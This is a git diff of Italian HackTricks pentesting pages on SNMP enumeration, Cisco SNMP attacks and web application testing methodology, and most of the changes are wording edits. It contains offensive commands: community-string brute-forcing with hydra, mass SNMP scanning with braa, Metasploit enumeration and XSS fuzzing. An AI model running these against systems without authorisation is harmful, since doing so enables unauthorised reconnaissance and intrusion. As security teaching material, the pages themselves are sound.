<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||
|
||||
|
@ -139,7 +139,7 @@ Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabil
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
|
@ -33,21 +33,21 @@ SNMP utilizza anche la porta **162/UDP** per le **traps**. Questi sono **pacchet
|
|||
|
||||
### MIB
|
||||
|
||||
Per garantire che l'accesso SNMP funzioni tra produttori diversi e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. La MIB è un **formato indipendente per memorizzare le informazioni del dispositivo**. Una MIB è un **file di testo** in cui sono elencati tutti gli **oggetti SNMP interroghili di un dispositivo** in una **gerarchia ad albero standardizzata**. Contiene almeno un `Object Identifier` (`OID`), che, oltre all'**indirizzo univoco** necessario e a un **nome**, fornisce anche informazioni sul tipo, i diritti di accesso e una descrizione dell'oggetto rispettivo.\
|
||||
I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e come sono fatte, restituendo valori per l'OID specifico, o quale tipo di dati viene utilizzato.
|
||||
Per garantire che l'accesso SNMP funzioni tra produttori diversi e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. MIB è un **formato indipendente per memorizzare le informazioni del dispositivo**. Una MIB è un **file di testo** in cui sono elencati tutti gli **oggetti SNMP interroghili** di un dispositivo in una **gerarchia ad albero standardizzata**. Contiene almeno un `Object Identifier` (`OID`), che, oltre all'**indirizzo univoco** necessario e a un **nome**, fornisce anche informazioni sul tipo, i diritti di accesso e una descrizione dell'oggetto rispettivo.\
|
||||
I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e com'è fatto, restituendo valori per l'OID specifico, o quale tipo di dati viene utilizzato.
|
||||
|
||||
### OID
|
||||
|
||||
Gli **Object Identifiers (OID)** svolgono un ruolo cruciale. Questi identificatori univoci sono progettati per gestire gli oggetti all'interno di una **Management Information Base (MIB)**.
|
||||
Gli **Object Identifiers (OID)** svolgono un ruolo cruciale. Questi identificatori unici sono progettati per gestire gli oggetti all'interno di una **Management Information Base (MIB)**.
|
||||
|
||||
I livelli più alti degli ID oggetto MIB, o OID, sono assegnati a diverse organizzazioni che stabiliscono standard. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globali.
|
||||
I livelli più alti degli ID degli oggetti MIB, o OID, sono assegnati a diverse organizzazioni che stabiliscono standard. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globali.
|
||||
|
||||
Inoltre, ai fornitori è concessa la libertà di stabilire rami privati. All'interno di questi rami, hanno l'**autonomia di includere oggetti gestiti pertinenti alle proprie linee di prodotti**. Questo sistema garantisce che ci sia un metodo strutturato e organizzato per identificare e gestire una vasta gamma di oggetti tra diversi fornitori e standard.
|
||||
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
Puoi **navigare** attraverso un **albero OID** dal web qui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) o **vedere cosa significa un OID** (come `1.3.6.1.2.1.1`) accedendo a [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili SNMP definite da MIB-2 Simple Network Management Protocol (SNMP). E dagli **OID pendenti da questo** è possibile ottenere alcuni dati host interessanti (dati di sistema, dati di rete, dati di processi...)
|
||||
Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili SNMP definite da MIB-2 Simple Network Management Protocol (SNMP). E dagli **OID pendenti da questo** è possibile ottenere alcuni dati host interessanti (dati di sistema, dati di rete, dati di processo...)
|
||||
|
||||
### **Esempio di OID**
|
||||
|
||||
|
@ -86,7 +86,7 @@ Il resto dei valori fornisce informazioni specifiche sul dispositivo.
|
|||
|
||||
Ci sono 2 versioni importanti di SNMP:
|
||||
|
||||
* **SNMPv1**: Principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo normale** (tutte le informazioni viaggiano in testo normale). **Versione 2 e 2c** inviano il **traffico in testo normale** e utilizzano una **stringa di comunità come autenticazione**.
|
||||
* **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo normale** (tutte le informazioni viaggiano in testo normale). **Versione 2 e 2c** inviano il **traffico in testo normale** e utilizzano una **stringa di comunità come autenticazione**.
|
||||
* **SNMPv3**: Utilizza una forma di **autenticazione migliore** e le informazioni viaggiano **criptate** (un **attacco a dizionario** potrebbe essere eseguito ma sarebbe molto più difficile trovare le credenziali corrette rispetto a SNMPv1 e v2).
|
||||
|
||||
### Stringhe di Comunità
|
||||
|
@ -112,7 +112,7 @@ Nelle versioni 1 e 2/2c se si utilizza una **stringa di comunità errata il serv
|
|||
|
||||
## Brute-Force Stringa di Comunità (v1 e v2c)
|
||||
|
||||
Per **indovinare la stringa di comunità** potresti eseguire un attacco a dizionario. Controlla [qui diversi modi per eseguire un attacco di forza bruta contro SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Una stringa di comunità frequentemente utilizzata è `public`.
|
||||
Per **indovinare la stringa di comunità** potresti eseguire un attacco a dizionario. Controlla [qui diversi modi per eseguire un attacco brute-force contro SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Una stringa di comunità frequentemente utilizzata è `public`.
|
||||
|
||||
## Enumerazione SNMP
|
||||
|
||||
|
@ -158,19 +158,19 @@ Due impostazioni principali consentono l'accesso all'**albero OID completo**, ch
|
|||
* **`rwcommunity`** per indirizzi **IPv4**, e
|
||||
* **`rwcommunity6`** per indirizzi **IPv6**.
|
||||
|
||||
Entrambe le istruzioni richiedono una **stringa di comunità** e l'indirizzo IP rilevante, offrendo un accesso completo indipendentemente dall'origine della richiesta.
|
||||
Entrambi i comandi richiedono una **stringa di comunità** e l'indirizzo IP rilevante, offrendo un accesso completo indipendentemente dall'origine della richiesta.
|
||||
|
||||
### Parametri SNMP per Microsoft Windows
|
||||
|
||||
Una serie di **valori di Base di Informazioni di Gestione (MIB)** sono utilizzati per monitorare vari aspetti di un sistema Windows tramite SNMP:
|
||||
Una serie di valori di **Base di Informazioni di Gestione (MIB)** sono utilizzati per monitorare vari aspetti di un sistema Windows tramite SNMP:
|
||||
|
||||
* **Processi di Sistema**: Accessibile tramite `1.3.6.1.2.1.25.1.6.0`, questo parametro consente il monitoraggio dei processi attivi all'interno del sistema.
|
||||
* **Programmi in Esecuzione**: Il valore `1.3.6.1.2.1.25.4.2.1.2` è designato per tracciare i programmi attualmente in esecuzione.
|
||||
* **Percorso dei Processi**: Per determinare da dove sta eseguendo un processo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
* **Percorso dei Processi**: Per determinare da dove viene eseguito un processo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
* **Unità di Archiviazione**: Il monitoraggio delle unità di archiviazione è facilitato da `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Nome del Software**: Per identificare il software installato su un sistema, viene impiegato `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
* **Account Utente**: Il valore `1.3.6.1.4.1.77.1.2.25` consente il tracciamento degli account utente.
|
||||
* **Porte Locali TCP**: Infine, `1.3.6.1.2.1.6.13.1.3` è designato per monitorare le porte TCP locali, fornendo informazioni sulle connessioni di rete attive.
|
||||
* **Porte Locali TCP**: Infine, `1.3.6.1.2.1.6.13.1.3` è designato per monitorare le porte locali TCP, fornendo informazioni sulle connessioni di rete attive.
|
||||
|
||||
### Cisco
|
||||
|
||||
|
@ -192,13 +192,13 @@ Se hai la **stringa** che ti consente di **scrivere valori** all'interno del ser
|
|||
|
||||
[Braa](https://github.com/mteg/braa) è uno scanner SNMP di massa. L'uso previsto di uno strumento del genere è, ovviamente, effettuare query SNMP - ma a differenza di snmpwalk di net-snmp, è in grado di interrogare decine o centinaia di host contemporaneamente e in un singolo processo. Consuma quindi pochissime risorse di sistema e esegue la scansione MOLTO velocemente.
|
||||
|
||||
Braa implementa il proprio stack SNMP, quindi NON ha bisogno di alcuna libreria SNMP come net-snmp.
|
||||
Braa implementa il proprio stack SNMP, quindi NON ha bisogno di librerie SNMP come net-snmp.
|
||||
|
||||
**Sintassi:** braa \[Stringa di comunità]@\[IP del server SNMP]:\[ID iso]
|
||||
**Sintassi:** braa \[Stringa di comunità]@\[IP del server SNMP]:\[id iso]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
Questo può estrarre molti MB di informazioni che non è possibile elaborare manualmente.
|
||||
Questo può estrarre molte MB di informazioni che non è possibile elaborare manualmente.
|
||||
|
||||
Quindi, cerchiamo le informazioni più interessanti (da [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
|
@ -234,15 +234,15 @@ Puoi utilizzare _**NetScanTools**_ per **modificare i valori**. Dovrai conoscere
|
|||
|
||||
Se esiste un ACL che consente solo a determinati IP di interrogare il servizio SMNP, puoi falsificare uno di questi indirizzi all'interno del pacchetto UDP e intercettare il traffico.
|
||||
|
||||
## Esaminare i file di configurazione SNMP
|
||||
## Esamina i file di configurazione SNMP
|
||||
|
||||
* snmp.conf
|
||||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -284,7 +284,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -292,6 +292,6 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,13 +12,13 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in lingua polacca scritta e parlata_).
|
||||
Se sei interessato alla **carriera nell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Pentesting delle reti Cisco
|
||||
## Pentesting Reti Cisco
|
||||
|
||||
**SNMP** funziona su UDP con le porte 161/UDP per i messaggi generali e 162/UDP per i messaggi di trappola. Questo protocollo si basa su stringhe di comunità, che fungono da password che consentono la comunicazione tra agenti SNMP e server. Queste stringhe sono cruciali poiché determinano i livelli di accesso, in particolare le **autorizzazioni di sola lettura (RO) o di lettura-scrittura (RW)**. Un vettore di attacco notevole per i pentester è il **brute-forcing delle stringhe di comunità**, mirando a infiltrare i dispositivi di rete.
|
||||
|
||||
|
@ -49,9 +49,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a violare l'invulnerabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca, scritta e parlata_).
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e a violare l'invulnerabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca, scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -59,8 +59,8 @@ Se sei interessato a una **carriera nel hacking** e a violare l'invulnerabile -
|
|||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -14,9 +14,9 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
Se sei interessato alla **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -51,12 +51,12 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Qualsiasi **scanner specializzato** da eseguire (come wpscan)?
|
||||
* [ ] Avvia **scanner a scopo generale**. Non si sa mai se troveranno qualcosa o informazioni interessanti.
|
||||
* [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e scansione **SSL/TLS** (se HTTPS).
|
||||
* [ ] Inizia a **spiderizzare** la pagina web: È il momento di **trovare** tutti i possibili **file, cartelle** e **parametri in uso**. Controlla anche per **trovare speciali**.
|
||||
* [ ] Inizia a **spiderizzare** la pagina web: È il momento di **trovare** tutti i possibili **file, cartelle** e **parametri in uso**. Controlla anche per **trovare speciali** scoperte.
|
||||
* [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere spiderizzata._
|
||||
* [ ] **Brute-Forcing delle directory**: Prova a forzare tutte le cartelle scoperte cercando nuovi **file** e **directory**.
|
||||
* [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere forzata._
|
||||
* [ ] **Controllo dei backup**: Verifica se puoi trovare **backup** dei **file scoperti** aggiungendo estensioni di backup comuni.
|
||||
* [ ] **Forza bruta dei parametri**: Prova a **trovare parametri nascosti**.
|
||||
* [ ] **Forza Bruta dei parametri**: Prova a **trovare parametri nascosti**.
|
||||
* [ ] Una volta che hai **identificato** tutti i possibili **punti di accesso** che accettano **input utente**, controlla tutti i tipi di **vulnerabilità** ad esse correlate.
|
||||
* [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
|
@ -65,7 +65,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
### Identificare
|
||||
|
||||
Controlla se ci sono **vulnerabilità conosciute** per la versione del server in esecuzione.\
|
||||
Gli **header HTTP e i cookie della risposta** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. La scansione **Nmap** può identificare la versione del server, ma potrebbero essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Gli **intestazioni HTTP e i cookie della risposta** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. La scansione **Nmap** può identificare la versione del server, ma potrebbero essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
|
@ -80,7 +80,7 @@ Cerca **vulnerabilità dell'applicazione web** **versione**
|
|||
* [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
* [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Trucchi tecnici web
|
||||
### Trucchi tecnologici web
|
||||
|
||||
Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben note in uso:
|
||||
|
||||
|
@ -123,12 +123,12 @@ Se l'applicazione web sta utilizzando una **tecnologia/piattaforma nota** elenca
|
|||
|
||||
Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un **test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale:
|
||||
|
||||
* C'è un file **Change-log o Readme o Version** o qualsiasi cosa con **informazioni sulla versione accessibili** via web?
|
||||
* Come e dove vengono salvate le **credenziali**? C'è un file (accessibile?) con credenziali (nomi utente o password)?
|
||||
* C'è un **file Change-log o Readme o Version** o qualsiasi cosa con **informazioni sulla versione accessibili** via web?
|
||||
* Come e dove vengono salvate le **credenziali**? C'è un **file** (accessibile?) con credenziali (nomi utente o password)?
|
||||
* Le **password** sono in **testo normale**, **criptate** o quale **algoritmo di hash** viene utilizzato?
|
||||
* Sta utilizzando una **chiave principale** per crittografare qualcosa? Quale **algoritmo** viene utilizzato?
|
||||
* Puoi **accedere a uno di questi file** sfruttando qualche vulnerabilità?
|
||||
* Ci sono informazioni **interessanti su github** (problemi risolti e non risolti)? O nella **cronologia dei commit** (forse una **password inserita in un vecchio commit**)?
|
||||
* Ci sono informazioni **interessanti su github** (risolte e non risolte) **issues**? O nella **cronologia dei commit** (forse una **password introdotta in un vecchio commit**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -150,10 +150,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### Scanner CMS
|
||||
|
||||
Se viene utilizzato un CMS non dimenticare di **eseguire uno scanner**, potresti trovare qualcosa di interessante:
|
||||
Se viene utilizzato un CMS, non dimenticare di **eseguire uno scanner**, potresti trovare qualcosa di interessante:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** per problemi di sicurezza. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): siti web [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** per problemi di sicurezza. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **o** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
|
@ -201,7 +201,7 @@ Se scopri che **WebDav** è **abilitato** ma non hai abbastanza autorizzazioni p
|
|||
* Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
|
||||
* Se l'applicazione **invia dati sensibili (password) tramite HTTP**. Allora è una vulnerabilità elevata.
|
||||
|
||||
Utilizza [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (Nei programmi di Bug Bounty probabilmente queste vulnerabilità non saranno accettate) e utilizza [**a2sv** ](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
|
||||
Utilizza [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare le **vulnerabilità** (nei programmi Bug Bounty probabilmente queste vulnerabilità non saranno accettate) e utilizza [**a2sv**](https://github.com/hahwul/a2sv) per ricontrallare le vulnerabilità:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -217,21 +217,21 @@ Informazioni sulle vulnerabilità di SSL/TLS:
|
|||
|
||||
### Spidering
|
||||
|
||||
Lancia qualche tipo di **spider** all'interno del web. L'obiettivo dello spider è **trovare il maggior numero possibile di percorsi** dall'applicazione testata. Pertanto, il crawling web e le fonti esterne dovrebbero essere utilizzati per trovare il maggior numero possibile di percorsi validi.
|
||||
Lancia qualche tipo di **spider** all'interno del web. L'obiettivo dello spider è **trovare il maggior numero di percorsi possibile** dall'applicazione testata. Pertanto, il crawling web e le fonti esterne dovrebbero essere utilizzati per trovare il maggior numero possibile di percorsi validi.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder nei file JS e fonti esterne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HTML, con LinkFinder per i file JS e Archive.org come fonte esterna.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, indica anche "file juicy".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interattivo con CLI. Cerca anche in Archive.org.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interattivo CLI. Cerca anche in Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Questo strumento non è uno spider ma può essere utile. Puoi semplicemente indicare un file con host e un file con percorsi e meg recupererà ogni percorso su ogni host e salverà la risposta.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML con capacità di rendering JS. Tuttavia, sembra non essere mantenuto, la versione precompilata è vecchia e il codice attuale non si compila.
|
||||
* [**gau**](https://github.com/lc/gau) (go): Spider HTML che utilizza provider esterni (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML con capacità di rendering JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacità di bellezza JS in grado di cercare nuovi percorsi nei file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia dalla sorgente HTML che dai file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja della sicurezza informatica.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia dalla sorgente HTML che dai file javascript incorporati. Utile per cacciatori di bug, team red, ninja della sicurezza informatica.
|
||||
